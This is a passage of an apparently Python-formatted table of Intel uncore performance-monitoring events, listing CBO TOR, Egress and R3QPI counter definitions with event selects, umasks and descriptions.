"Defn": "Counts the number of entries successfuly inserted into the TOR that match qualifications specified by the subevent. There are a number of subevent 'filters' but only a subset of the subevent combinations are valid. Subevents that require an opcode or NID match require the Cn_MSR_PMON_BOX_FILTER.{opc, nid} field to be set. If, for example, one wanted to count DRD Local Misses, one should select \"MISS_OPC_MATCH\" and set Cn_MSR_PMON_BOX_FILTER.opc to DRD (0x182).",
"Desc": "TOR Inserts",
"EvSel": 53,
"ExtSel": "",
"Umask": "b00001000",
},
"CBO.TOR_INSERTS.EVICTION": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Counters": "0-3",
"Defn": "Counts the number of entries successfuly inserted into the TOR that match qualifications specified by the subevent. There are a number of subevent 'filters' but only a subset of the subevent combinations are valid. Subevents that require an opcode or NID match require the Cn_MSR_PMON_BOX_FILTER.{opc, nid} field to be set. If, for example, one wanted to count DRD Local Misses, one should select \"MISS_OPC_MATCH\" and set Cn_MSR_PMON_BOX_FILTER.opc to DRD (0x182).",
"Desc": "TOR Inserts",
"EvSel": 53,
"ExtSel": "",
"Umask": "b00000100",
},
"CBO.TOR_INSERTS.NID_MISS_OPCODE": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Counters": "0-3",
"Defn": "Counts the number of entries successfuly inserted into the TOR that match qualifications specified by the subevent. There are a number of subevent 'filters' but only a subset of the subevent combinations are valid. Subevents that require an opcode or NID match require the Cn_MSR_PMON_BOX_FILTER.{opc, nid} field to be set. If, for example, one wanted to count DRD Local Misses, one should select \"MISS_OPC_MATCH\" and set Cn_MSR_PMON_BOX_FILTER.opc to DRD (0x182).",
"Desc": "TOR Inserts",
"EvSel": 53,
"ExtSel": "",
"Umask": "b01000011",
},
"CBO.TOR_INSERTS.MISS_LOCAL_OPCODE": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Counters": "0-3",
"Defn": "Counts the number of entries successfuly inserted into the TOR that match qualifications specified by the subevent. There are a number of subevent 'filters' but only a subset of the subevent combinations are valid. Subevents that require an opcode or NID match require the Cn_MSR_PMON_BOX_FILTER.{opc, nid} field to be set. If, for example, one wanted to count DRD Local Misses, one should select \"MISS_OPC_MATCH\" and set Cn_MSR_PMON_BOX_FILTER.opc to DRD (0x182).",
"Desc": "TOR Inserts",
"EvSel": 53,
"ExtSel": "",
"Umask": "b00100011",
},
"CBO.TOR_INSERTS.LOCAL_OPCODE": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Counters": "0-3",
"Defn": "Counts the number of entries successfuly inserted into the TOR that match qualifications specified by the subevent. There are a number of subevent 'filters' but only a subset of the subevent combinations are valid. Subevents that require an opcode or NID match require the Cn_MSR_PMON_BOX_FILTER.{opc, nid} field to be set. If, for example, one wanted to count DRD Local Misses, one should select \"MISS_OPC_MATCH\" and set Cn_MSR_PMON_BOX_FILTER.opc to DRD (0x182).",
"Desc": "TOR Inserts",
"EvSel": 53,
"ExtSel": "",
"Umask": "b00100001",
},
"CBO.TOR_INSERTS.NID_EVICTION": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Counters": "0-3",
"Defn": "Counts the number of entries successfuly inserted into the TOR that match qualifications specified by the subevent. There are a number of subevent 'filters' but only a subset of the subevent combinations are valid. Subevents that require an opcode or NID match require the Cn_MSR_PMON_BOX_FILTER.{opc, nid} field to be set. If, for example, one wanted to count DRD Local Misses, one should select \"MISS_OPC_MATCH\" and set Cn_MSR_PMON_BOX_FILTER.opc to DRD (0x182).",
"Desc": "TOR Inserts",
"EvSel": 53,
"ExtSel": "",
"Umask": "b01000100",
},
"CBO.TOR_INSERTS.WB": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Counters": "0-3",
"Defn": "Counts the number of entries successfuly inserted into the TOR that match qualifications specified by the subevent. There are a number of subevent 'filters' but only a subset of the subevent combinations are valid. Subevents that require an opcode or NID match require the Cn_MSR_PMON_BOX_FILTER.{opc, nid} field to be set. If, for example, one wanted to count DRD Local Misses, one should select \"MISS_OPC_MATCH\" and set Cn_MSR_PMON_BOX_FILTER.opc to DRD (0x182).",
"Desc": "TOR Inserts",
"EvSel": 53,
"ExtSel": "",
"Umask": "b00010000",
},
"CBO.TOR_INSERTS.MISS_OPCODE": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Counters": "0-3",
"Defn": "Counts the number of entries successfuly inserted into the TOR that match qualifications specified by the subevent. There are a number of subevent 'filters' but only a subset of the subevent combinations are valid. Subevents that require an opcode or NID match require the Cn_MSR_PMON_BOX_FILTER.{opc, nid} field to be set. If, for example, one wanted to count DRD Local Misses, one should select \"MISS_OPC_MATCH\" and set Cn_MSR_PMON_BOX_FILTER.opc to DRD (0x182).",
"Desc": "TOR Inserts",
"EvSel": 53,
"ExtSel": "",
"Umask": "b00000011",
},
"CBO.TOR_INSERTS.NID_ALL": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Counters": "0-3",
"Defn": "Counts the number of entries successfuly inserted into the TOR that match qualifications specified by the subevent. There are a number of subevent 'filters' but only a subset of the subevent combinations are valid. Subevents that require an opcode or NID match require the Cn_MSR_PMON_BOX_FILTER.{opc, nid} field to be set. If, for example, one wanted to count DRD Local Misses, one should select \"MISS_OPC_MATCH\" and set Cn_MSR_PMON_BOX_FILTER.opc to DRD (0x182).",
"Desc": "TOR Inserts",
"EvSel": 53,
"ExtSel": "",
"Umask": "b01001000",
},
"CBO.TOR_INSERTS.MISS_REMOTE_OPCODE": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Counters": "0-3",
"Defn": "Counts the number of entries successfuly inserted into the TOR that match qualifications specified by the subevent. There are a number of subevent 'filters' but only a subset of the subevent combinations are valid. Subevents that require an opcode or NID match require the Cn_MSR_PMON_BOX_FILTER.{opc, nid} field to be set. If, for example, one wanted to count DRD Local Misses, one should select \"MISS_OPC_MATCH\" and set Cn_MSR_PMON_BOX_FILTER.opc to DRD (0x182).",
"Desc": "TOR Inserts",
"EvSel": 53,
"ExtSel": "",
"Umask": "b10000011",
},
"CBO.TOR_INSERTS.REMOTE": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Counters": "0-3",
"Defn": "Counts the number of entries successfuly inserted into the TOR that match qualifications specified by the subevent. There are a number of subevent 'filters' but only a subset of the subevent combinations are valid. Subevents that require an opcode or NID match require the Cn_MSR_PMON_BOX_FILTER.{opc, nid} field to be set. If, for example, one wanted to count DRD Local Misses, one should select \"MISS_OPC_MATCH\" and set Cn_MSR_PMON_BOX_FILTER.opc to DRD (0x182).",
"Desc": "TOR Inserts",
"EvSel": 53,
"ExtSel": "",
"Umask": "b10001000",
},
"CBO.TOR_INSERTS.LOCAL": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Counters": "0-3",
"Defn": "Counts the number of entries successfuly inserted into the TOR that match qualifications specified by the subevent. There are a number of subevent 'filters' but only a subset of the subevent combinations are valid. Subevents that require an opcode or NID match require the Cn_MSR_PMON_BOX_FILTER.{opc, nid} field to be set. If, for example, one wanted to count DRD Local Misses, one should select \"MISS_OPC_MATCH\" and set Cn_MSR_PMON_BOX_FILTER.opc to DRD (0x182).",
"Desc": "TOR Inserts",
"EvSel": 53,
"ExtSel": "",
"Umask": "b00101000",
},
"CBO.TOR_INSERTS.MISS_REMOTE": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Counters": "0-3",
"Defn": "Counts the number of entries successfuly inserted into the TOR that match qualifications specified by the subevent. There are a number of subevent 'filters' but only a subset of the subevent combinations are valid. Subevents that require an opcode or NID match require the Cn_MSR_PMON_BOX_FILTER.{opc, nid} field to be set. If, for example, one wanted to count DRD Local Misses, one should select \"MISS_OPC_MATCH\" and set Cn_MSR_PMON_BOX_FILTER.opc to DRD (0x182).",
"Desc": "TOR Inserts",
"EvSel": 53,
"ExtSel": "",
"Umask": "b10001010",
},
"CBO.TOR_OCCUPANCY": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Counters": 0,
"Defn": "For each cycle, this event accumulates the number of valid entries in the TOR that match qualifications specified by the subevent. There are a number of subevent 'filters' but only a subset of the subevent combinations are valid. Subevents that require an opcode or NID match require the Cn_MSR_PMON_BOX_FILTER.{opc, nid} field to be set. If, for example, one wanted to count DRD Local Misses, one should select \"MISS_OPC_MATCH\" and set Cn_MSR_PMON_BOX_FILTER.opc to DRD (0x182)",
"Desc": "TOR Occupancy",
"EvSel": 54,
"ExtSel": "",
"MaxIncCyc": 20,
"SubCtr": 1,
},
"CBO.TOR_OCCUPANCY.NID_OPCODE": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Counters": 0,
"Defn": "For each cycle, this event accumulates the number of valid entries in the TOR that match qualifications specified by the subevent. There are a number of subevent 'filters' but only a subset of the subevent combinations are valid. Subevents that require an opcode or NID match require the Cn_MSR_PMON_BOX_FILTER.{opc, nid} field to be set. If, for example, one wanted to count DRD Local Misses, one should select \"MISS_OPC_MATCH\" and set Cn_MSR_PMON_BOX_FILTER.opc to DRD (0x182)",
"Desc": "TOR Occupancy",
"EvSel": 54,
"ExtSel": "",
"MaxIncCyc": 20,
"SubCtr": 1,
"Umask": "b01000001",
},
"CBO.TOR_OCCUPANCY.REMOTE_OPCODE": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Counters": 0,
"Defn": "For each cycle, this event accumulates the number of valid entries in the TOR that match qualifications specified by the subevent. There are a number of subevent 'filters' but only a subset of the subevent combinations are valid. Subevents that require an opcode or NID match require the Cn_MSR_PMON_BOX_FILTER.{opc, nid} field to be set. If, for example, one wanted to count DRD Local Misses, one should select \"MISS_OPC_MATCH\" and set Cn_MSR_PMON_BOX_FILTER.opc to DRD (0x182)",
"Desc": "TOR Occupancy",
"EvSel": 54,
"ExtSel": "",
"MaxIncCyc": 20,
"SubCtr": 1,
"Umask": "b10000001",
},
"CBO.TOR_OCCUPANCY.OPCODE": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Counters": 0,
"Defn": "For each cycle, this event accumulates the number of valid entries in the TOR that match qualifications specified by the subevent. There are a number of subevent 'filters' but only a subset of the subevent combinations are valid. Subevents that require an opcode or NID match require the Cn_MSR_PMON_BOX_FILTER.{opc, nid} field to be set. If, for example, one wanted to count DRD Local Misses, one should select \"MISS_OPC_MATCH\" and set Cn_MSR_PMON_BOX_FILTER.opc to DRD (0x182)",
"Desc": "TOR Occupancy",
"EvSel": 54,
"ExtSel": "",
"MaxIncCyc": 20,
"SubCtr": 1,
"Umask": "b00000001",
},
"CBO.TOR_OCCUPANCY.NID_MISS_ALL": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Counters": 0,
"Defn": "For each cycle, this event accumulates the number of valid entries in the TOR that match qualifications specified by the subevent. There are a number of subevent 'filters' but only a subset of the subevent combinations are valid. Subevents that require an opcode or NID match require the Cn_MSR_PMON_BOX_FILTER.{opc, nid} field to be set. If, for example, one wanted to count DRD Local Misses, one should select \"MISS_OPC_MATCH\" and set Cn_MSR_PMON_BOX_FILTER.opc to DRD (0x182)",
"Desc": "TOR Occupancy",
"EvSel": 54,
"ExtSel": "",
"MaxIncCyc": 20,
"SubCtr": 1,
"Umask": "b01001010",
},
"CBO.TOR_OCCUPANCY.ALL": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Counters": 0,
"Defn": "For each cycle, this event accumulates the number of valid entries in the TOR that match qualifications specified by the subevent. There are a number of subevent 'filters' but only a subset of the subevent combinations are valid. Subevents that require an opcode or NID match require the Cn_MSR_PMON_BOX_FILTER.{opc, nid} field to be set. If, for example, one wanted to count DRD Local Misses, one should select \"MISS_OPC_MATCH\" and set Cn_MSR_PMON_BOX_FILTER.opc to DRD (0x182)",
"Desc": "TOR Occupancy",
"EvSel": 54,
"ExtSel": "",
"MaxIncCyc": 20,
"SubCtr": 1,
"Umask": "b00001000",
},
"CBO.TOR_OCCUPANCY.NID_MISS_OPCODE": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Counters": 0,
"Defn": "For each cycle, this event accumulates the number of valid entries in the TOR that match qualifications specified by the subevent. There are a number of subevent 'filters' but only a subset of the subevent combinations are valid. Subevents that require an opcode or NID match require the Cn_MSR_PMON_BOX_FILTER.{opc, nid} field to be set. If, for example, one wanted to count DRD Local Misses, one should select \"MISS_OPC_MATCH\" and set Cn_MSR_PMON_BOX_FILTER.opc to DRD (0x182)",
"Desc": "TOR Occupancy",
"EvSel": 54,
"ExtSel": "",
"MaxIncCyc": 20,
"SubCtr": 1,
"Umask": "b01000011",
},
"CBO.TOR_OCCUPANCY.EVICTION": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Counters": 0,
"Defn": "For each cycle, this event accumulates the number of valid entries in the TOR that match qualifications specified by the subevent. There are a number of subevent 'filters' but only a subset of the subevent combinations are valid. Subevents that require an opcode or NID match require the Cn_MSR_PMON_BOX_FILTER.{opc, nid} field to be set. If, for example, one wanted to count DRD Local Misses, one should select \"MISS_OPC_MATCH\" and set Cn_MSR_PMON_BOX_FILTER.opc to DRD (0x182)",
"Desc": "TOR Occupancy",
"EvSel": 54,
"ExtSel": "",
"MaxIncCyc": 20,
"SubCtr": 1,
"Umask": "b00000100",
},
"CBO.TOR_OCCUPANCY.MISS_LOCAL": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Counters": 0,
"Defn": "For each cycle, this event accumulates the number of valid entries in the TOR that match qualifications specified by the subevent. There are a number of subevent 'filters' but only a subset of the subevent combinations are valid. Subevents that require an opcode or NID match require the Cn_MSR_PMON_BOX_FILTER.{opc, nid} field to be set. If, for example, one wanted to count DRD Local Misses, one should select \"MISS_OPC_MATCH\" and set Cn_MSR_PMON_BOX_FILTER.opc to DRD (0x182)",
"Desc": "TOR Occupancy",
"EvSel": 54,
"ExtSel": "",
"MaxIncCyc": 20,
"SubCtr": 1,
"Umask": "b00101010",
},
"CBO.TOR_OCCUPANCY.NID_WB": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Counters": 0,
"Defn": "For each cycle, this event accumulates the number of valid entries in the TOR that match qualifications specified by the subevent. There are a number of subevent 'filters' but only a subset of the subevent combinations are valid. Subevents that require an opcode or NID match require the Cn_MSR_PMON_BOX_FILTER.{opc, nid} field to be set. If, for example, one wanted to count DRD Local Misses, one should select \"MISS_OPC_MATCH\" and set Cn_MSR_PMON_BOX_FILTER.opc to DRD (0x182)",
"Desc": "TOR Occupancy",
"EvSel": 54,
"ExtSel": "",
"MaxIncCyc": 20,
"SubCtr": 1,
"Umask": "b01010000",
},
"CBO.TOR_OCCUPANCY.MISS_OPCODE": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Counters": 0,
"Defn": "For each cycle, this event accumulates the number of valid entries in the TOR that match qualifications specified by the subevent. There are a number of subevent 'filters' but only a subset of the subevent combinations are valid. Subevents that require an opcode or NID match require the Cn_MSR_PMON_BOX_FILTER.{opc, nid} field to be set. If, for example, one wanted to count DRD Local Misses, one should select \"MISS_OPC_MATCH\" and set Cn_MSR_PMON_BOX_FILTER.opc to DRD (0x182)",
"Desc": "TOR Occupancy",
"EvSel": 54,
"ExtSel": "",
"MaxIncCyc": 20,
"SubCtr": 1,
"Umask": "b00000011",
},
"CBO.TOR_OCCUPANCY.WB": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Counters": 0,
"Defn": "For each cycle, this event accumulates the number of valid entries in the TOR that match qualifications specified by the subevent. There are a number of subevent 'filters' but only a subset of the subevent combinations are valid. Subevents that require an opcode or NID match require the Cn_MSR_PMON_BOX_FILTER.{opc, nid} field to be set. If, for example, one wanted to count DRD Local Misses, one should select \"MISS_OPC_MATCH\" and set Cn_MSR_PMON_BOX_FILTER.opc to DRD (0x182)",
"Desc": "TOR Occupancy",
"EvSel": 54,
"ExtSel": "",
"MaxIncCyc": 20,
"SubCtr": 1,
"Umask": "b00010000",
},
"CBO.TOR_OCCUPANCY.MISS_ALL": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Counters": 0,
"Defn": "For each cycle, this event accumulates the number of valid entries in the TOR that match qualifications specified by the subevent. There are a number of subevent 'filters' but only a subset of the subevent combinations are valid. Subevents that require an opcode or NID match require the Cn_MSR_PMON_BOX_FILTER.{opc, nid} field to be set. If, for example, one wanted to count DRD Local Misses, one should select \"MISS_OPC_MATCH\" and set Cn_MSR_PMON_BOX_FILTER.opc to DRD (0x182)",
"Desc": "TOR Occupancy",
"EvSel": 54,
"ExtSel": "",
"MaxIncCyc": 20,
"SubCtr": 1,
"Umask": "b00001010",
},
"CBO.TOR_OCCUPANCY.NID_ALL": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Counters": 0,
"Defn": "For each cycle, this event accumulates the number of valid entries in the TOR that match qualifications specified by the subevent. There are a number of subevent 'filters' but only a subset of the subevent combinations are valid. Subevents that require an opcode or NID match require the Cn_MSR_PMON_BOX_FILTER.{opc, nid} field to be set. If, for example, one wanted to count DRD Local Misses, one should select \"MISS_OPC_MATCH\" and set Cn_MSR_PMON_BOX_FILTER.opc to DRD (0x182)",
"Desc": "TOR Occupancy",
"EvSel": 54,
"ExtSel": "",
"MaxIncCyc": 20,
"SubCtr": 1,
"Umask": "b01001000",
},
"CBO.TOR_OCCUPANCY.LOCAL_OPCODE": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Counters": 0,
"Defn": "For each cycle, this event accumulates the number of valid entries in the TOR that match qualifications specified by the subevent. There are a number of subevent 'filters' but only a subset of the subevent combinations are valid. Subevents that require an opcode or NID match require the Cn_MSR_PMON_BOX_FILTER.{opc, nid} field to be set. If, for example, one wanted to count DRD Local Misses, one should select \"MISS_OPC_MATCH\" and set Cn_MSR_PMON_BOX_FILTER.opc to DRD (0x182)",
"Desc": "TOR Occupancy",
"EvSel": 54,
"ExtSel": "",
"MaxIncCyc": 20,
"SubCtr": 1,
"Umask": "b00100001",
},
"CBO.TOR_OCCUPANCY.MISS_LOCAL_OPCODE": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Counters": 0,
"Defn": "For each cycle, this event accumulates the number of valid entries in the TOR that match qualifications specified by the subevent. There are a number of subevent 'filters' but only a subset of the subevent combinations are valid. Subevents that require an opcode or NID match require the Cn_MSR_PMON_BOX_FILTER.{opc, nid} field to be set. If, for example, one wanted to count DRD Local Misses, one should select \"MISS_OPC_MATCH\" and set Cn_MSR_PMON_BOX_FILTER.opc to DRD (0x182)",
"Desc": "TOR Occupancy",
"EvSel": 54,
"ExtSel": "",
"MaxIncCyc": 20,
"SubCtr": 1,
"Umask": "b00100011",
},
"CBO.TOR_OCCUPANCY.NID_EVICTION": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Counters": 0,
"Defn": "For each cycle, this event accumulates the number of valid entries in the TOR that match qualifications specified by the subevent. There are a number of subevent 'filters' but only a subset of the subevent combinations are valid. Subevents that require an opcode or NID match require the Cn_MSR_PMON_BOX_FILTER.{opc, nid} field to be set. If, for example, one wanted to count DRD Local Misses, one should select \"MISS_OPC_MATCH\" and set Cn_MSR_PMON_BOX_FILTER.opc to DRD (0x182)",
"Desc": "TOR Occupancy",
"EvSel": 54,
"ExtSel": "",
"MaxIncCyc": 20,
"SubCtr": 1,
"Umask": "b01000100",
},
"CBO.TOR_OCCUPANCY.MISS_REMOTE": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Counters": 0,
"Defn": "For each cycle, this event accumulates the number of valid entries in the TOR that match qualifications specified by the subevent. There are a number of subevent 'filters' but only a subset of the subevent combinations are valid. Subevents that require an opcode or NID match require the Cn_MSR_PMON_BOX_FILTER.{opc, nid} field to be set. If, for example, one wanted to count DRD Local Misses, one should select \"MISS_OPC_MATCH\" and set Cn_MSR_PMON_BOX_FILTER.opc to DRD (0x182)",
"Desc": "TOR Occupancy",
"EvSel": 54,
"ExtSel": "",
"MaxIncCyc": 20,
"SubCtr": 1,
"Umask": "b10001010",
},
"CBO.TOR_OCCUPANCY.MISS_REMOTE_OPCODE": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Counters": 0,
"Defn": "For each cycle, this event accumulates the number of valid entries in the TOR that match qualifications specified by the subevent. There are a number of subevent 'filters' but only a subset of the subevent combinations are valid. Subevents that require an opcode or NID match require the Cn_MSR_PMON_BOX_FILTER.{opc, nid} field to be set. If, for example, one wanted to count DRD Local Misses, one should select \"MISS_OPC_MATCH\" and set Cn_MSR_PMON_BOX_FILTER.opc to DRD (0x182)",
"Desc": "TOR Occupancy",
"EvSel": 54,
"ExtSel": "",
"MaxIncCyc": 20,
"SubCtr": 1,
"Umask": "b10000011",
},
"CBO.TOR_OCCUPANCY.REMOTE": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Counters": 0,
"Defn": "For each cycle, this event accumulates the number of valid entries in the TOR that match qualifications specified by the subevent. There are a number of subevent 'filters' but only a subset of the subevent combinations are valid. Subevents that require an opcode or NID match require the Cn_MSR_PMON_BOX_FILTER.{opc, nid} field to be set. If, for example, one wanted to count DRD Local Misses, one should select \"MISS_OPC_MATCH\" and set Cn_MSR_PMON_BOX_FILTER.opc to DRD (0x182)",
"Desc": "TOR Occupancy",
"EvSel": 54,
"ExtSel": "",
"MaxIncCyc": 20,
"SubCtr": 1,
"Umask": "b10001000",
},
"CBO.TOR_OCCUPANCY.LOCAL": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Counters": 0,
"Defn": "For each cycle, this event accumulates the number of valid entries in the TOR that match qualifications specified by the subevent. There are a number of subevent 'filters' but only a subset of the subevent combinations are valid. Subevents that require an opcode or NID match require the Cn_MSR_PMON_BOX_FILTER.{opc, nid} field to be set. If, for example, one wanted to count DRD Local Misses, one should select \"MISS_OPC_MATCH\" and set Cn_MSR_PMON_BOX_FILTER.opc to DRD (0x182)",
"Desc": "TOR Occupancy",
"EvSel": 54,
"ExtSel": "",
"MaxIncCyc": 20,
"SubCtr": 1,
"Umask": "b00101000",
},
"CBO.TxR_ADS_USED": {
"Box": "CBO",
"Category": "CBO EGRESS Events",
"Counters": "0-3",
"EvSel": 4,
"ExtSel": "",
},
"CBO.TxR_ADS_USED.BL": {
"Box": "CBO",
"Category": "CBO EGRESS Events",
"Counters": "0-3",
"EvSel": 4,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"CBO.TxR_ADS_USED.AK": {
"Box": "CBO",
"Category": "CBO EGRESS Events",
"Counters": "0-3",
"EvSel": 4,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"CBO.TxR_ADS_USED.AD": {
"Box": "CBO",
"Category": "CBO EGRESS Events",
"Counters": "0-3",
"EvSel": 4,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"CBO.TxR_INSERTS": {
"Box": "CBO",
"Category": "CBO EGRESS Events",
"Counters": "0-3",
"Defn": "Number of allocations into the Cbo Egress. The Egress is used to queue up requests destined for the ring.",
"Desc": "Egress Allocations",
"EvSel": 2,
"ExtSel": "",
},
"CBO.TxR_INSERTS.IV_CACHE": {
"Box": "CBO",
"Category": "CBO EGRESS Events",
"Counters": "0-3",
"Defn": "Number of allocations into the Cbo Egress. The Egress is used to queue up requests destined for the ring.",
"Desc": "Egress Allocations",
"EvSel": 2,
"ExtSel": "",
"Umask": "bxxxx1xxx",
},
"CBO.TxR_INSERTS.BL_CORE": {
"Box": "CBO",
"Category": "CBO EGRESS Events",
"Counters": "0-3",
"Defn": "Number of allocations into the Cbo Egress. The Egress is used to queue up requests destined for the ring.",
"Desc": "Egress Allocations",
"EvSel": 2,
"ExtSel": "",
"Umask": "bx1xxxxxx",
},
"CBO.TxR_INSERTS.BL_CACHE": {
"Box": "CBO",
"Category": "CBO EGRESS Events",
"Counters": "0-3",
"Defn": "Number of allocations into the Cbo Egress. The Egress is used to queue up requests destined for the ring.",
"Desc": "Egress Allocations",
"EvSel": 2,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"CBO.TxR_INSERTS.AD_CORE": {
"Box": "CBO",
"Category": "CBO EGRESS Events",
"Counters": "0-3",
"Defn": "Number of allocations into the Cbo Egress. The Egress is used to queue up requests destined for the ring.",
"Desc": "Egress Allocations",
"EvSel": 2,
"ExtSel": "",
"Umask": "bxxx1xxxx",
},
"CBO.TxR_INSERTS.AD_CACHE": {
"Box": "CBO",
"Category": "CBO EGRESS Events",
"Counters": "0-3",
"Defn": "Number of allocations into the Cbo Egress. The Egress is used to queue up requests destined for the ring.",
"Desc": "Egress Allocations",
"EvSel": 2,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"CBO.TxR_INSERTS.AK_CACHE": {
"Box": "CBO",
"Category": "CBO EGRESS Events",
"Counters": "0-3",
"Defn": "Number of allocations into the Cbo Egress. The Egress is used to queue up requests destined for the ring.",
"Desc": "Egress Allocations",
"EvSel": 2,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"CBO.TxR_INSERTS.AK_CORE": {
"Box": "CBO",
"Category": "CBO EGRESS Events",
"Counters": "0-3",
"Defn": "Number of allocations into the Cbo Egress. The Egress is used to queue up requests destined for the ring.",
"Desc": "Egress Allocations",
"EvSel": 2,
"ExtSel": "",
"Umask": "bxx1xxxxx",
},
# R3QPI:
"R3QPI.CLOCKTICKS": {
"Box": "R3QPI",
"Category": "R3QPI UCLK Events",
"Counters": "0-2",
"Defn": "Counts the number of uclks in the QPI uclk domain. This could be slightly different than the count in the Ubox because of enable/freeze delays. However, because the QPI Agent is close to the Ubox, they generally should not diverge by more than a handful of cycles.",
"Desc": "Number of uclks in domain",
"EvSel": 1,
"ExtSel": "",
},
"R3QPI.C_HI_AD_CREDITS_EMPTY": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to Cbox on the AD Ring (covers higher CBoxes)",
"Desc": "CBox AD Credits Empty",
"EvSel": 31,
"ExtSel": "",
},
"R3QPI.C_HI_AD_CREDITS_EMPTY.CBO11": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to Cbox on the AD Ring (covers higher CBoxes)",
"Desc": "CBox AD Credits Empty",
"EvSel": 31,
"ExtSel": "",
"Umask": "bxxxx1xxx",
},
"R3QPI.C_HI_AD_CREDITS_EMPTY.CBO10": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to Cbox on the AD Ring (covers higher CBoxes)",
"Desc": "CBox AD Credits Empty",
"EvSel": 31,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"R3QPI.C_HI_AD_CREDITS_EMPTY.CBO_15_17": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to Cbox on the AD Ring (covers higher CBoxes)",
"Desc": "CBox AD Credits Empty",
"EvSel": 31,
"ExtSel": "",
"Umask": "b1xxxxxxx",
},
"R3QPI.C_HI_AD_CREDITS_EMPTY.CBO12": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to Cbox on the AD Ring (covers higher CBoxes)",
"Desc": "CBox AD Credits Empty",
"EvSel": 31,
"ExtSel": "",
"Umask": "bxxx1xxxx",
},
"R3QPI.C_HI_AD_CREDITS_EMPTY.CBO14_16": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to Cbox on the AD Ring (covers higher CBoxes)",
"Desc": "CBox AD Credits Empty",
"EvSel": 31,
"ExtSel": "",
"Umask": "bx1xxxxxx",
},
"R3QPI.C_HI_AD_CREDITS_EMPTY.CBO8": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to Cbox on the AD Ring (covers higher CBoxes)",
"Desc": "CBox AD Credits Empty",
"EvSel": 31,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"R3QPI.C_HI_AD_CREDITS_EMPTY.CBO9": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to Cbox on the AD Ring (covers higher CBoxes)",
"Desc": "CBox AD Credits Empty",
"EvSel": 31,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"R3QPI.C_HI_AD_CREDITS_EMPTY.CBO13": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to Cbox on the AD Ring (covers higher CBoxes)",
"Desc": "CBox AD Credits Empty",
"EvSel": 31,
"ExtSel": "",
"Umask": "bxx1xxxxx",
},
"R3QPI.C_LO_AD_CREDITS_EMPTY": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to Cbox on the AD Ring (covers lower CBoxes)",
"Desc": "CBox AD Credits Empty",
"EvSel": 34,
"ExtSel": "",
},
"R3QPI.C_LO_AD_CREDITS_EMPTY.CBO0": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to Cbox on the AD Ring (covers lower CBoxes)",
"Desc": "CBox AD Credits Empty",
"EvSel": 34,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"R3QPI.C_LO_AD_CREDITS_EMPTY.CBO4": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to Cbox on the AD Ring (covers lower CBoxes)",
"Desc": "CBox AD Credits Empty",
"EvSel": 34,
"ExtSel": "",
"Umask": "bxxx1xxxx",
},
"R3QPI.C_LO_AD_CREDITS_EMPTY.CBO6": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to Cbox on the AD Ring (covers lower CBoxes)",
"Desc": "CBox AD Credits Empty",
"EvSel": 34,
"ExtSel": "",
"Umask": "bx1xxxxxx",
},
